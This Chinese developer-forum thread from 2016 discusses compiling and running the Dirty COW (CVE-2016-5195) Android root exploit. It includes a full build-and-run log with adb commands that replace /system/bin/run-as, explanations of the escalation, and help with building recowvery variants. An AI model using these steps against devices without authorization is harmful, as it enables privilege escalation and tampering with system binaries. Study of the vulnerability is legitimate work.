|
1
高手都帮忙看一下 我把 C 直接编译成二进制执行之后 没效果 可能需要弄成 apk 两个 C 配合运行吧
|
|
2
看了一下 makefile ,编译完成应该会有两个 so 文件,不会生成 APK 文件,你需要编写一个 Android Project ,然后通过 JNI 来调用。
|
|
michaelzhouOct 31, 2016
3
用 ndk 编译完成, push 到手机使用 adb shell 执行:
$ make root ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21 [arm64-v8a] Install : dirtycow => libs/arm64-v8a/dirtycow [arm64-v8a] Install : run-as => libs/arm64-v8a/run-as [x86_64] Install : dirtycow => libs/x86_64/dirtycow [x86_64] Install : run-as => libs/x86_64/run-as [mips64] Install : dirtycow => libs/mips64/dirtycow [mips64] Install : run-as => libs/mips64/run-as [armeabi-v7a] Install : dirtycow => libs/armeabi-v7a/dirtycow [armeabi-v7a] Compile thumb : run-as <= run-as.c [armeabi-v7a] Executable : run-as [armeabi-v7a] Install : run-as => libs/armeabi-v7a/run-as [armeabi] Compile thumb : dirtycow <= dirtycow.c [armeabi] Executable : dirtycow [armeabi] Install : dirtycow => libs/armeabi/dirtycow [armeabi] Compile thumb : run-as <= run-as.c [armeabi] Executable : run-as [armeabi] Install : run-as => libs/armeabi/run-as [x86] Compile : dirtycow <= dirtycow.c [x86] Executable : dirtycow [x86] Install : dirtycow => libs/x86/dirtycow [x86] Compile : run-as <= run-as.c [x86] Executable : run-as [x86] Install : run-as => libs/x86/run-as [mips] Compile : dirtycow <= dirtycow.c [mips] Executable : dirtycow [mips] Install : dirtycow => libs/mips/dirtycow [mips] Compile : run-as <= run-as.c [mips] Executable : run-as [mips] Install : run-as => libs/mips/run-as adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow * daemon not running. starting it now on port 5037 * * daemon started successfully * [100%] /data/local/tmp/dirtycow adb push libs/armeabi/run-as /data/local/tmp/run-as [100%] /data/local/tmp/run-as adb shell 'chmod 777 /data/local/tmp/run-as' adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as' warning: new file size (13776) and file old size (14192) differ size 14192 [*] mmap 0xf707c000 [*] exploit (patch) [*] currently 0xf707c000=464c457f [*] madvise = 0xf707c000 14192 [*] madvise = 0 1048576 [*] /proc/self/mem -1048576 1048576 [*] exploited 0xf707c000=464c457f adb shell /system/bin/run-as run-as: Usage: run-as <package-name> [--user <uid>] <command> [<args>] |
|
tscatOct 31, 2016
4
看了一下,是提权漏洞?
这个根本就不是 Android Project , run-as.c 应该是打印 uid ,来验证漏洞是否能够提权吧。 基本上楼上都说了。 |
|
5
@michaelzhou @tscat 我直接把这两个 C 编译成两个二进制文件
我运行到这一条命令 /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 之后 没反应 请问为什么 这条命令是什么意思呢 |
|
6
@tscat 是提权的 运行 /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 之后没反应 不打印 uid
|
|
7
@michaelzhou 我如果编译成.so 的话 是不是还要编写个 APK 来运行它 是吧
|
|
michaelzhouOct 31, 2016
8
@postlive 首先你得理解这个 CVE 提权的过程。重点在 dirtycow ,他是 exploit 的执行者,目的是将系统的 run-as 替换成自己编写的 run-as 。
|
|
michaelzhouOct 31, 2016
9
@postlive 系统分配给 adb 的 uid ,是没有权限更改 /system/bin 下任何东西的,/data/local/tmp 下的东西可以随便来,所以,首先将 exploit 所需要的东西先拷贝到 /data/local/tmp/,然后 dirtycow 将 /system/bin/run-as 替换成 /data/local/tmp/run-as 。然后被替换的 run-as 就可以被 APK 应用层直接调用了( run-as --uid root )。
|
|
10
@michaelzhou 高手,那现在这个 run-as 是人家编写好的 想办法用这个 run-as 替换 system/bin/的 就可以调用它执行 root 权限的命令了?
|
|
michaelzhouOct 31, 2016
11
@postlive 可以这么理解。但是 “想办法用这个 run-as 替换 system/bin/的” 很难。
|
|
12
@michaelzhou “ 首先你得理解这个 CVE 提权的过程。重点在 dirtycow ,他是 exploit 的执行者,目的是将系统的 run-as 替换成自己编写的 run-as 。”
/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 请问,这条命令是在执行用自己的 run-as 替换系统的 是吧? |
|
devzeroOct 31, 2016 via Android
13
在 issues 那里有一个编译好的二进制文件,可以去看看
|
|
michaelzhouOct 31, 2016
14
@postlive 是。
|
|
8rB61FLBPVSxW2C8Oct 31, 2016
15
因为 selinux 的存才,这个提权能做的实在太有限,然而在 6.0 上就算过了 selinux ,也还得过 dm-verity 。
|
|
16
@devzero 谢谢 刚才仔细看了一下评论 和看雪上说的一样 SELinux 没法破 这个脚本只有作者自己执行成功了,要是刚开始就看 issues 的话就不会走弯路了
|
|
18
@michaelzhou 如果不写 APK ,直接手动一步一步的执行.C 编译后的二进制文件 是不是会达到同样的效果?我重新找到一个 POC ,我准备把里面的 5 个.C 一个个编译成安卓可执行的二进制,再去运行每条命令
可行不 |
|
19
你去 dirtycow.github.io 的 wiki 里,有个 r2 的 io plugin 可以使用,安卓 6.0.1_r72(RR)在 termux 下用 clang 编译测试成功提权。
|
|
w99wenNov 1, 2016
21
我用自己的 vps ,没关闭 SELinux ,结果就是这个漏洞然并卵
|
|
22
@michaelzhou 高手 能帮忙编译一下这个吗 https://github.com/nowsecure/dirtycow 我编译不过去 里面有些.h 文件找不到 应该用啥编译
|
|
michaelzhouNov 2, 2016
23
@postlive 将 Git 仓库放到你自己的 ndk 目录的 sources 目录下,然后用 ndk-build 命令进行编译。建议将 ndk-build 可执行文件的路径添加到 PATH 。编译时找不到头文件,及有可能是你的项目放的目录不对。
例如,我放的目录是: ~/Library/Android/sdk/ndk-bundle/sources/third_party/CVE-2016-5195 然后,你给出的这个 Github 仓库,作者已经写好了 Makefile ,所以直接用 make 命令就可以直接编译。 也就是说,在 ~/Library/Android/sdk/ndk-bundle/sources/third_party/CVE-2016-5195 下 执行 make root 。 敲完 make root 后,就可以 “坐和放宽” 了。 FYI :编译以后的 output 在 ./libs 和 ./obj 目录下。 |
|
24
多谢了 我一会儿试一下 只是他里面有些.h 头文件是第三方库的是吧 我在 Android studio 和 GCC 下有些.h 都找不到 能不能麻烦您编译一下,根据您的经验看看到底是啥原因,最好能编译好发给我 谢谢啦👍😊😏 [email protected]
|
|
michaelzhouNov 2, 2016
25
@postlive 已发
|
|
26
@michaelzhou 好人有好报😏😊
|
|
27
@michaelzhou 老大,麻烦把这个也编译一下 https://github.com/jcadduono/android_external_dirtycow/archive/android-6.0.zip
这个是发布者在自己的 V20 上面测试过的 V20 和 G5 的环境应该一样 如果能成功换掉原厂 recovery 那就可以完美 root 你将是世界第一人😏😊 [email protected] 谢谢了 |
|
28
|
|
michaelzhouNov 3, 2016
29
@postlive 已发。
|
|
30
@michaelzhou 大神,您编译出来的只有 2 个文件 这里面不是有 5 个么
adb push dirtycow /data/local/tmp adb push recowvery-applypatch /data/local/tmp adb push recowvery-app_process64 /data/local/tmp adb push recowvery-run-as /data/local/tmp |
|
michaelzhouNov 3, 2016
31
@postlive 另外几个一直报错,不知为何,我没仔细看错误原因。
粗看一下,大概是因为引用的头文件在源码环境下才有,我个人电脑的环境没有 AOSP 的源码编译环境,只能帮你到这里了。 |
|
32
@michaelzhou 是的,我也觉得是缺少.h 头文件 那么请问我怎么下载 AOSP 里面有好多 我不知道安装哪个 麻烦指点迷津
谢谢了 |
|
michaelzhouNov 3, 2016
33
|
|
34
@michaelzhou 大神,经过你的指点,我在 AOSP 源里面找到了 只是应该把.h 文件放到什么地方 比如#include <cutils/properties.h> NDK 下就有好几个 cutils 文件夹
|
|
35
|
|
36
@michaelzhou 放的地方我找到了 只是又出现了一些新的问题 代码报错 编译不过去 这个.C 到底是 C 写的还是 C++写的? 是不是要用到其它的什么编译器
|
|
38
|
|
40
@kmahyyg 我想请教一下您是在什么环境下编译的 这个是在 Android6.0.1 r72 终端下用 clang ? 我在 Ubuntu ndk 下编译不过去 代码报错
|